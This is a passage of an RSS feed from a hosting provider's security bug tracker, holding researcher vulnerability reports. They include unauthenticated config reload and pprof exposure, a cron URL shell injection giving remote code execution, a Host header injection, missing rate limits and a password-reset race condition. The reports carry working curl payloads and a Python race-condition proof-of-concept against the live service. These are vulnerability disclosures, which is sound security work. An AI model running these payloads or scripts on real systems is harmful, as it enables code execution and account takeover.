bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep -E &#039;username=|auth.config|tlsCertFile|version=&#039;</pre>

<p>
Observed output includes:
</p>

<p>
text<br />vmauth_user_concurrent_requests_capacity{username=&quot;admin&quot;}     1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;aldjango&quot;}  1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;grafana&quot;}   1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;telegraf&quot;}  1000
</p>

<p>
name=&quot;auth.config&quot;, value=&quot;/etc/vmauth/config.yml&quot;, is_set=&quot;true&quot;<br />name=&quot;tlsCertFile&quot;, value=&quot;/etc/ssl/certs/alwaysdata.org.bundle.pem&quot;, is_set=&quot;true&quot;<br />version=&quot;vmauth-20260227-182711-tags-v1.137.0-0-g2aecca1163&quot;<br />short_version=&quot;v1.137.0&quot;<br />These usernames are not otherwise obtainable without authentication.
</p>

<p>
3. Prove /-/reload is unauthenticated and state-changing<br />Baseline the reload counter:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Example:
</p>

<p>
text<br />vmauth_config_last_reload_total 7<br />Send an anonymous reload request:
</p>

<p>
bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload</a> Observed:
</p>

<p>
http<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />x-server-hostname: sandbox-fnonnenmacher2<br />content-length: 0<br />Re-read the counter:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Observed:
</p>

<p>
text<br />vmauth_config_last_reload_total 8<br />Delta: 1
</p>

<p>
Repeat:
</p>

<p>
bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload</a> curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Observed:
</p>

<p>
text<br />vmauth_config_last_reload_total 9<br />Delta: 1
</p>

<p>
The counter advanced from 7 → 34 across repeated passes, always by exactly 1 per anonymous POST.
</p>

<p>
4. Control: sibling admin endpoint is correctly gated<br />bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit</a> Observed:
</p>

<p>
http<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 401 Unauthorized<br />Www-Authenticate: Basic realm=&quot;Restricted&quot;<br />Counter delta: 0
</p>

<p>
This proves /-/reload is an omission, not a design where all admin routes are open.
</p>

<p>
5. Additional unauthenticated pprof exposure<br />bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline</a> Observed:
</p>

<p>
text<br />/usr/bin/vmauth -envflag.enable<br />The full pprof surface is exposed, including:
</p>

<p>
/debug/pprof/
</p>

<p>
/debug/pprof/cmdline
</p>

<p>
/debug/pprof/heap?debug=1
</p>

<p>
/debug/pprof/allocs?debug=1
</p>

<p>
/debug/pprof/goroutine?debug=2
</p>

<p>
/debug/pprof/trace?seconds=1
</p>

<p>
Impact<br />1. Unauthenticated administrative action<br />An anonymous Internet client can force the authentication proxy to reload its configuration. /-/reload is an administrative operation and must not be triggerable without credentials.
</p>

<p>
2. Potential full authentication bypass if chained<br />/-/reload re-reads /etc/vmauth/config.yml. If any other bug, misconfiguration, deployment pipeline, or local file-write primitive allows influencing that file, this endpoint provides the unauthenticated trigger that makes vmauth adopt the attacker’s policy. That would convert a write-only primitive into full authentication bypass for the internal monitoring backend.
</p>

<p>
No such config-write primitive was found during this assessment, so the finding is not rated Critical on its own.
</p>

<p>
3. Internal information disclosure<br />/metrics and pprof leak:
</p>

<p>
Internal service-account names: admin, aldjango, grafana, telegraf
</p>

<p>
Configuration file path: /etc/vmauth/config.yml
</p>

<p>
<acronym title="Transport Layer Security">TLS</acronym> certificate path: /etc/ssl/certs/alwaysdata.org.bundle.pem
</p>

<p>
Exact vmauth version and Go runtime version
</p>

<p>
Process command line: /usr/bin/vmauth -envflag.enable
</p>

<p>
Heap, allocs, goroutine, mutex, and trace profiling data<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/518">
    <title>FS#518: Remote Code Execution</title>
    <link>https://security.alwaysdata.com/task/518</link>
    <dc:date>2026-10-05T08:56:16Z</dc:date>
    <dc:creator>Siddharth</dc:creator>
     <description>
Title: Cron TYPE_URLS Accepts Single-Quote in URL Argument — Shell Injection → Remote Code Execution




Severity: Critical




Summary



 The cron job feature&amp;#039;s TYPE_URLS type is documented as accepting &amp;quot;a list of URLs to request&amp;quot; — it is designed to fetch URLs via curl, not execute arbitrary shell commands (TYPE_COMMAND exists for that). However, the API accepts a single-quote &amp;#039; character inside the URL argument without rejection. By injecting &amp;#039;$(cmd)&amp;#039; into the URL, the shell quoting is broken and cmd executes as a real command on alwaysdata&amp;#039;s jobs server under the account&amp;#039;s UID.




Steps to Reproduce



Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.

Step 1 — Write payload to file (prevents local shell expansion):
cat &amp;gt; /tmp/job.json &amp;lt;&amp;lt; &amp;#039;EOF&amp;#039;
{
  &amp;quot;type&amp;quot;: &amp;quot;TYPE_URLS&amp;quot;,
  &amp;quot;argument&amp;quot;: &amp;quot;http://x.com/&amp;#039;$(id&amp;gt;/home/YOUR_ACCOUNT/www/rce_proof.txt)&amp;#039;&amp;quot;,
  &amp;quot;date_type&amp;quot;: &amp;quot;FREQUENCY&amp;quot;,
  &amp;quot;frequency&amp;quot;: 1,
  &amp;quot;frequency_period&amp;quot;: &amp;quot;minute&amp;quot;
}
EOF

Step 2 — Create the malicious cron job:
curl -u &amp;quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&amp;quot; \
  -X POST &amp;quot;https://api.alwaysdata.com/v1/job/?format=json&amp;quot; \
  -H &amp;quot;Content-Type: application/json&amp;quot; \
  -d @/tmp/job.json \
  -w &amp;quot;\nHTTP STATUS: %{http_code}\n&amp;quot;
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.

Step 3 — Wait up to 60 seconds for the cron to fire.

Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata&amp;#039;s server.

Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u &amp;quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&amp;quot; \
  &amp;quot;https://api.alwaysdata.com/v1/job/?format=json&amp;quot;

curl -u &amp;quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&amp;quot; \
  -X DELETE &amp;quot;https://api.alwaysdata.com/v1/job/JOB_ID/?format=json&amp;quot;




</description>
    <content:encoded><![CDATA[
<h3 id="titlecron_type_urls_accepts_single-quote_in_url_argument_shell_injection_remote_code_execution">Title: Cron TYPE_URLS Accepts Single-Quote in URL Argument — Shell Injection → Remote Code Execution</h3>
<div class="level3">

</div>

<h3 id="severitycritical">Severity: Critical</h3>
<div class="level3">

</div>

<h3 id="summary">Summary</h3>
<div class="level3">

<p>
 The cron job feature&#039;s TYPE_URLS type is documented as accepting &quot;a list of URLs to request&quot; — it is designed to fetch URLs via curl, not execute arbitrary shell commands (TYPE_COMMAND exists for that). However, the <acronym title="Application Programming Interface">API</acronym> accepts a single-quote &#039; character inside the <acronym title="Uniform Resource Locator">URL</acronym> argument without rejection. By injecting &#039;$(cmd)&#039; into the <acronym title="Uniform Resource Locator">URL</acronym>, the shell quoting is broken and cmd executes as a real command on alwaysdata&#039;s jobs server under the account&#039;s UID.
</p>

</div>

<h3 id="steps_to_reproduce">Steps to Reproduce</h3>
<div class="level3">
<pre class="code">

Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.

Step 1 — Write payload to file (prevents local shell expansion):
cat &gt; /tmp/job.json &lt;&lt; &#039;EOF&#039;
{
  &quot;type&quot;: &quot;TYPE_URLS&quot;,
  &quot;argument&quot;: &quot;http://x.com/&#039;$(id&gt;/home/YOUR_ACCOUNT/www/rce_proof.txt)&#039;&quot;,
  &quot;date_type&quot;: &quot;FREQUENCY&quot;,
  &quot;frequency&quot;: 1,
  &quot;frequency_period&quot;: &quot;minute&quot;
}
EOF

Step 2 — Create the malicious cron job:
curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  -X POST &quot;https://api.alwaysdata.com/v1/job/?format=json&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d @/tmp/job.json \
  -w &quot;\nHTTP STATUS: %{http_code}\n&quot;
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.

Step 3 — Wait up to 60 seconds for the cron to fire.

Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata&#039;s server.

Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  &quot;https://api.alwaysdata.com/v1/job/?format=json&quot;

curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  -X DELETE &quot;https://api.alwaysdata.com/v1/job/JOB_ID/?format=json&quot;

</pre>

</div>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/517">
    <title>FS#517: 500 ISE via Host Header @ Injection on /password/lost/ (CVSS 3.3 Low)</title>
    <link>https://security.alwaysdata.com/task/517</link>
    <dc:date>2026-10-05T07:25:25Z</dc:date>
    <dc:creator>Aditya Hadipratama</dc:creator>
     <description>

## Summary



Injecting @ into the Host header (Host: admin.alwaysdata.com@evil.com) triggers an unhandled HTTP 500 Internal Server Error on /password/lost/. Standard Host values work correctly.



Severity: Low (CVSS 3.3) | CWE-20 (Improper Input Validation)CVSS: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L



## ReproduceRaw TCP/TLS request:



Host: admin.alwaysdata.com@evil.com GET /password/lost/ HTTP/1.1



Response: HTTP/1.1 500 Internal Server Error



Normal Host: admin.alwaysdata.com returns HTTP 200.



## Evidence- @-injection in Host header triggers 500 ISE- Clean Host value returns 200 (no issue)- No data leakage in error response observed



## ImpactIndicates Host header input reaches internal processing (likely URL building for reset links) without sanitization. Low severity as no data leakage or privilege escalation was demonstrated.



## RemediationValidate Host header against known-good hostname allowlist at nginx/Django level. Reject requests with malformed Host values (@ symbols, newlines, non-hostname chars) with HTTP 400.



Researcher: adityahadipratama4@gmail.com 

</description>
    <content:encoded><![CDATA[
<p>
## Summary
</p>

<p>
Injecting @ into the Host header (Host: admin.alwaysdata.com@evil.com) triggers an unhandled <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 500 Internal Server Error on /password/lost/. Standard Host values work correctly.
</p>

<p>
Severity: Low (CVSS 3.3) | CWE-20 (Improper Input Validation)<br />CVSS: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
</p>

<p>
## Reproduce<br />Raw TCP/<acronym title="Transport Layer Security">TLS</acronym> request:
</p>

<p>
Host: admin.alwaysdata.com@evil.com GET /password/lost/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1
</p>

<p>
Response: <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 500 Internal Server Error
</p>

<p>
Normal Host: admin.alwaysdata.com returns <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200.
</p>

<p>
## Evidence<br />- @-injection in Host header triggers 500 ISE<br />- Clean Host value returns 200 (no issue)<br />- No data leakage in error response observed
</p>

<p>
## Impact<br />Indicates Host header input reaches internal processing (likely <acronym title="Uniform Resource Locator">URL</acronym> building for reset links) without sanitization. Low severity as no data leakage or privilege escalation was demonstrated.
</p>

<p>
## Remediation<br />Validate Host header against known-good hostname allowlist at nginx/Django level. Reject requests with malformed Host values (@ symbols, newlines, non-hostname chars) with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 400.
</p>

<p>
Researcher: adityahadipratama4@gmail.com 
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/516">
    <title>FS#516: No Rate Limit on /support/add/ — Support Ticket Spam (CVSS 3.7 Low)</title>
    <link>https://security.alwaysdata.com/task/516</link>
    <dc:date>2026-10-05T07:24:17Z</dc:date>
    <dc:creator>Aditya Hadipratama</dc:creator>
     <description>

## Summary



POST /support/add/ (authenticated) has no rate limiting. Any user can create unlimited support tickets in rapid succession, flooding alwaysdata&amp;#039;s support team inbox.



Severity: Low (CVSS 3.7) | CWE-307CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L



## Reproduce1. Log in with any free account2. Fire 20 rapid POSTs to /support/add/ with subject/message fields3. All 20 return HTTP 200 — no 429 triggered



## Impact- Staff inbox flooding via ticket spam- Can bury legitimate support requests- Degrades quality of service for legitimate customers



## RemediationLimit: 5-10 tickets/hour per user account.



Researcher: adityahadipratama4@gmail.com 

</description>
    <content:encoded><![CDATA[
<p>
## Summary
</p>

<p>
POST /support/add/ (authenticated) has no rate limiting. Any user can create unlimited support tickets in rapid succession, flooding alwaysdata&#039;s support team inbox.
</p>

<p>
Severity: Low (CVSS 3.7) | CWE-307<br />CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
</p>

<p>
## Reproduce<br />1. Log in with any free account<br />2. Fire 20 rapid POSTs to /support/add/ with subject/message fields<br />3. All 20 return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 — no 429 triggered
</p>

<p>
## Impact<br />- Staff inbox flooding via ticket spam<br />- Can bury legitimate support requests<br />- Degrades quality of service for legitimate customers
</p>

<p>
## Remediation<br />Limit: 5-10 tickets/hour per user account.
</p>

<p>
Researcher: adityahadipratama4@gmail.com 
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/515">
    <title>FS#515: No Rate Limit on /transfer/add/ — Invitation Spam Abuse (CVSS 5.3 Medium)</title>
    <link>https://security.alwaysdata.com/task/515</link>
    <dc:date>2026-10-05T07:24:00Z</dc:date>
    <dc:creator>Aditya Hadipratama</dc:creator>
     <description>

## Summary



POST /transfer/add/ (authenticated) has no rate limiting. Any free-tier user can spam transfer invitations to arbitrary email addresses, abusing alwaysdata&amp;#039;s invitation email system for harassment.



Severity: Medium (CVSS 5.3) | CWE-307CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N



## Reproduce1. Log in with any free account2. Fire 30 concurrent POSTs to /transfer/add/ with email=victim@example.com 3. All 30 return HTTP 200 — no throttling triggered



## Evidence- 30/30 HTTP 200 (parallel, ~1.55s total)- No 429 even under concurrent load



## Impact- Spam victim with unlimited alwaysdata-branded transfer invitation emails- Abuse alwaysdata sending reputation for targeted harassment



## RemediationLimit: 5-10 invitations/hour per user + 3/day per target email.



Researcher: adityahadipratama4@gmail.com Full PDF report (4 findings) attached via support ticket.

</description>
    <content:encoded><![CDATA[
<p>
## Summary
</p>

<p>
POST /transfer/add/ (authenticated) has no rate limiting. Any free-tier user can spam transfer invitations to arbitrary email addresses, abusing alwaysdata&#039;s invitation email system for harassment.
</p>

<p>
Severity: Medium (CVSS 5.3) | CWE-307<br />CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
</p>

<p>
## Reproduce<br />1. Log in with any free account<br />2. Fire 30 concurrent POSTs to /transfer/add/ with email=victim@example.com 3. All 30 return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 — no throttling triggered
</p>

<p>
## Evidence<br />- 30/30 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 (parallel, ~1.55s total)<br />- No 429 even under concurrent load
</p>

<p>
## Impact<br />- Spam victim with unlimited alwaysdata-branded transfer invitation emails<br />- Abuse alwaysdata sending reputation for targeted harassment
</p>

<p>
## Remediation<br />Limit: 5-10 invitations/hour per user + 3/day per target email.
</p>

<p>
Researcher: adityahadipratama4@gmail.com Full <acronym title="Portable Document Format">PDF</acronym> report (4 findings) attached via support ticket.<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/514">
    <title>FS#514: No Rate Limit on /password/lost/ — Email Flooding (CVSS 5.3 Medium, CWE-307)</title>
    <link>https://security.alwaysdata.com/task/514</link>
    <dc:date>2026-10-05T07:21:13Z</dc:date>
    <dc:creator>Aditya Hadipratama</dc:creator>
     <description>

## Summary



POST /password/lost/ has no rate limiting. An attacker can flood any user inbox with unlimited reset emails without auth.



Severity: Medium (CVSS 5.3) | CWE-307CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L



## Reproduce



1. Get CSRF: curl -c /tmp/c.txt admin.alwaysdata.com/password/lost/ -o /dev/null2. Fire 15 POST requests: all return HTTP 200 (no 429)3. Contrast: /login/ returns 429 at attempt 11



## Evidence15/15 HTTP 200 with no throttling on /password/lost/Login endpoint correctly throttles at attempt 11 - infrastructure supports rate limiting



## Impact- Flood any user inbox with unlimited reset emails (no auth needed)- Consume alwaysdata mail delivery resources- Email-harass targeted users via alwaysdata domain



## RemediationRate limit: 3-5 req/hour per IP + 3/hour per email. Reuse infra from /login/.



Researcher: adityahadipratama4@gmail.com Full PDF report (4 findings) attached via support ticket.

</description>
    <content:encoded><![CDATA[
<p>
## Summary
</p>

<p>
POST /password/lost/ has no rate limiting. An attacker can flood any user inbox with unlimited reset emails without auth.
</p>

<p>
Severity: Medium (CVSS 5.3) | CWE-307<br />CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
</p>

<p>
## Reproduce
</p>

<p>
1. Get CSRF: curl -c /tmp/c.txt admin.alwaysdata.com/password/lost/ -o /dev/null<br />2. Fire 15 POST requests: all return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 (no 429)<br />3. Contrast: /login/ returns 429 at attempt 11
</p>

<p>
## Evidence<br />15/15 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 with no throttling on /password/lost/<br />Login endpoint correctly throttles at attempt 11 - infrastructure supports rate limiting
</p>

<p>
## Impact<br />- Flood any user inbox with unlimited reset emails (no auth needed)<br />- Consume alwaysdata mail delivery resources<br />- Email-harass targeted users via alwaysdata domain
</p>

<p>
## Remediation<br />Rate limit: 3-5 req/hour per IP + 3/hour per email. Reuse infra from /login/.
</p>

<p>
Researcher: adityahadipratama4@gmail.com Full <acronym title="Portable Document Format">PDF</acronym> report (4 findings) attached via support ticket.<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/513">
    <title>FS#513: Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix</title>
    <link>https://security.alwaysdata.com/task/513</link>
    <dc:date>2026-10-02T07:19:31Z</dc:date>
    <dc:creator>Arjun</dc:creator>
     <description>

# Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix



Affected endpoint: `POST https://admin.alwaysdata.com/user/reset_password/?user_id=&amp;lt;u&amp;gt;&amp;amp;token=&amp;lt;t&amp;gt;&amp;amp;expiration=&amp;lt;e&amp;gt;` (the link sent by `POST /password/lost/`)Related: #279 (&amp;quot;reusable login token URL&amp;quot;) — this report shows the single-use fix it introduced does not hold under concurrency



## SummaryThe password-reset link is single-use sequentially: a second use submitted after the first one completes returns *&amp;quot;Le lien utilisé est invalide&amp;quot;* and issues no session (control below). The consumed/invalid state, however, is not applied atomically. When several requests hit the endpoint simultaneously, all of them pass the validity check and all are processed as a successful reset — each returns `200` with the authenticated panel and issues an authenticated session. Final run: 4/4 concurrent requests accepted; earlier runs: 2/2 accepted (both times).



Each accepted request authenticates its caller and applies its password (last write wins). An attacker who possesses a leaked/intercepted reset link can therefore race the legitimate use with a small parallel burst: the victim&amp;#039;s reset appears to proceed, while the attacker&amp;#039;s simultaneous request also commits — leaving the attacker with an authenticated session and an attacker-chosen password on a link the victim believes has been consumed. The single-use guarantee that #279 fixed does not actually close the link once; it closes it only against *sequential* reuse.



## Preconditions- An account whose mailbox the tester controls (own test accounts were used; free plan).- Possession of the reset link from `POST /password/lost/` — the attacker must already hold the link, hence Low; the finding is that the documented single-use property fails under concurrency.



## Steps to reproduce1. Request a reset link (own account):

 ```
 curl -s -c jar -b jar https://admin.alwaysdata.com/password/lost/ | grep csrfmiddlewaretoken
 curl -s -c jar -b jar -X POST https://admin.alwaysdata.com/password/lost/ \
      -H &amp;#039;Referer: https://admin.alwaysdata.com/password/lost/&amp;#039; \
      --data-urlencode &amp;#039;csrfmiddlewaretoken=&amp;lt;csrf&amp;gt;&amp;#039; \
      --data-urlencode &amp;#039;email=&amp;lt;account email&amp;gt;&amp;#039;
 ```
 → `200` on `/password/sent/`; the e-mail contains:
 `https://admin.alwaysdata.com/user/reset_password/?user_id=…&amp;amp;token=…&amp;amp;expiration=…`


 2. Control (sequential). Two sessions each GET the link (a GET does not consume the token; each GET returns the form with a CSRF token and a session cookie), then POST — the second POST only after the first has completed. Result: first accepted, second rejected.



3. Race. N sessions each GET the link first, then POST simultaneously (thread barrier; `&amp;amp;` + `wait` in shell also works). A GET-then-POST per session is required because each POST needs its own CSRF token and session cookie. Result: every POST is accepted.



Self-contained repro script (`python3 poc.py &amp;quot;&amp;lt;link&amp;gt;&amp;quot; &amp;lt;control|race&amp;gt; &amp;lt;N&amp;gt;`):



```pythonimport re, sys, threading, urllib.parse, urllib.request, http.cookiejar



BASE = &amp;quot;https://admin.alwaysdata.com&amp;quot;



def new_session(link):

  cj = http.cookiejar.CookieJar()
  op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
  body = op.open(link, timeout=30).read().decode(&amp;quot;utf-8&amp;quot;, &amp;quot;replace&amp;quot;)
  csrf = re.search(r&amp;#039;name=&amp;quot;csrfmiddlewaretoken&amp;quot; value=&amp;quot;([^&amp;quot;]+)&amp;quot;&amp;#039;, body).group(1)
  return op, csrf


 def submit(op, link, csrf, password):

  data = urllib.parse.urlencode({&amp;quot;csrfmiddlewaretoken&amp;quot;: csrf, &amp;quot;password&amp;quot;: password}).encode()
  body = op.open(urllib.request.Request(link, data=data,
                headers={&amp;quot;Referer&amp;quot;: link}), timeout=30).read().decode(&amp;quot;utf-8&amp;quot;, &amp;quot;replace&amp;quot;)
  flat = re.sub(r&amp;quot;&amp;lt;[^&amp;gt;]+&amp;gt;&amp;quot;, &amp;quot; &amp;quot;, re.sub(r&amp;quot;&amp;lt;script.*?&amp;lt;/script&amp;gt;&amp;quot;, &amp;quot; &amp;quot;, body, flags=re.S))
  if &amp;quot;lien utilisé est invalide&amp;quot; in flat: return &amp;quot;INVALID (rejected)&amp;quot;
  if &amp;quot;Logout&amp;quot; in flat:                    return &amp;quot;ACCEPTED (authenticated panel page)&amp;quot;
  return &amp;quot;?&amp;quot; 


 def is_authed(op):

  home = op.open(BASE + &amp;quot;/&amp;quot;, timeout=30).read().decode(&amp;quot;utf-8&amp;quot;, &amp;quot;replace&amp;quot;)
  return &amp;quot;Logout&amp;quot; in re.sub(r&amp;quot;&amp;lt;[^&amp;gt;]+&amp;gt;&amp;quot;, &amp;quot; &amp;quot;, re.sub(r&amp;quot;&amp;lt;script.*?&amp;lt;/script&amp;gt;&amp;quot;, &amp;quot; &amp;quot;, home, flags=re.S))


 link, mode, n = sys.argv[1], sys.argv[2], int(sys.argv[3])sess = [new_session(link) for _ in range(n)]if mode == &amp;quot;control&amp;quot;:                      # second POST after the first completed

  for i, (op, csrf) in enumerate(sess):
      print(&amp;quot;POST #%d:&amp;quot; % i, submit(op, link, csrf, &amp;quot;SeqPw%d!x7Kq&amp;quot; % i))


else:                                      # all POSTs fired simultaneously

  out, barrier = {}, threading.Barrier(n)
  def worker(i):
      barrier.wait()
      out[i] = submit(sess[i][0], link, sess[i][1], &amp;quot;RacePw%d!xyz&amp;quot; % i)
  ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)]
  [t.start() for t in ts]; [t.join() for t in ts]
  for i in sorted(out): print(&amp;quot;parallel POST #%d:&amp;quot; % i, out[i])


for i, (op, _) in enumerate(sess):

  print(&amp;quot;session #%d authenticated: %s&amp;quot; % (i, is_authed(op)))


```



Observed — race (`race`, N=4, fresh link from a newly requested e-mail): ```parallel POST #0: ACCEPTED (authenticated panel page)parallel POST #1: ACCEPTED (authenticated panel page)parallel POST #2: ACCEPTED (authenticated panel page)parallel POST #3: ACCEPTED (authenticated panel page)session #0 authenticated: Truesession #1 authenticated: Truesession #2 authenticated: Truesession #3 authenticated: True```Earlier run with N=2: both accepted, both sessions authenticated, and exactly one of the two submitted passwords took effect on a subsequent login (last committed write wins).



## Impact- The single-use property (the #279 fix) does not hold under concurrency: one link can be consumed several times at once, and each consumption mints an authenticated session.- Concrete scenario: the attacker holds a leaked link (leaked mailbox, forwarding, logs). When the victim uses it, the attacker&amp;#039;s parallel burst also passes validation. The victim sees a normal successful reset; the attacker keeps a session and, if their request commits last, an attacker-known password — on a link that is supposed to be dead after one use.- No brute force or scanning needed: a handful of requests per attempt reproduces it; severity is Low because the attacker must already possess the link.



## Remediation- Make consumption atomic and single-writer: `UPDATE reset_token SET used=1 WHERE token=&amp;lt;t&amp;gt; AND used=0` (or `SELECT … FOR UPDATE`), and treat `rowcount == 0` as &amp;quot;already used&amp;quot; — reject in-flight duplicates instead of processing them.- Mark the token used before applying the password change, so exactly one concurrent request wins.- Defence in depth: on successful reset, invalidate the user&amp;#039;s other outstanding reset links and existing sessions.

</description>
    <content:encoded><![CDATA[
<p>
# Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix
</p>

<p>
<strong>Affected endpoint:</strong> `POST <a href="https://admin.alwaysdata.com/user/reset_password/?user_id=" class="urlextern" title="https://admin.alwaysdata.com/user/reset_password/?user_id="  rel="nofollow">https://admin.alwaysdata.com/user/reset_password/?user_id=</a>&lt;u&gt;&amp;token=&lt;t&gt;&amp;expiration=&lt;e&gt;` (the link sent by `POST /password/lost/`)<br /><strong>Related:</strong> #279 (&quot;reusable login token <acronym title="Uniform Resource Locator">URL</acronym>&quot;) — this report shows the single-use fix it introduced does not hold under concurrency
</p>

<p>
## Summary<br />The password-reset link is single-use <strong>sequentially</strong>: a second use submitted after the first one completes returns *&quot;Le lien utilisé est invalide&quot;* and issues no session (control below). The consumed/invalid state, however, is not applied atomically. When several requests hit the endpoint simultaneously, <strong>all of them pass the validity check and all are processed as a successful reset</strong> — each returns `200` with the authenticated panel and issues an authenticated session. Final run: <strong>4/4 concurrent requests accepted</strong>; earlier runs: 2/2 accepted (both times).
</p>

<p>
Each accepted request authenticates its caller and applies its password (last write wins). An attacker who possesses a leaked/intercepted reset link can therefore race the legitimate use with a small parallel burst: the victim&#039;s reset appears to proceed, while the attacker&#039;s simultaneous request also commits — leaving the attacker with an authenticated session and an attacker-chosen password on a link the victim believes has been consumed. The single-use guarantee that #279 fixed does not actually close the link once; it closes it only against *sequential* reuse.
</p>

<p>
## Preconditions<br />- An account whose mailbox the tester controls (own test accounts were used; free plan).<br />- Possession of the reset link from `POST /password/lost/` — the attacker must already hold the link, hence <strong>Low</strong>; the finding is that the documented single-use property fails under concurrency.
</p>

<p>
## Steps to reproduce<br />1. Request a reset link (own account):
</p>
<pre class="code"> ```
 curl -s -c jar -b jar https://admin.alwaysdata.com/password/lost/ | grep csrfmiddlewaretoken
 curl -s -c jar -b jar -X POST https://admin.alwaysdata.com/password/lost/ \
      -H &#039;Referer: https://admin.alwaysdata.com/password/lost/&#039; \
      --data-urlencode &#039;csrfmiddlewaretoken=&lt;csrf&gt;&#039; \
      --data-urlencode &#039;email=&lt;account email&gt;&#039;
 ```
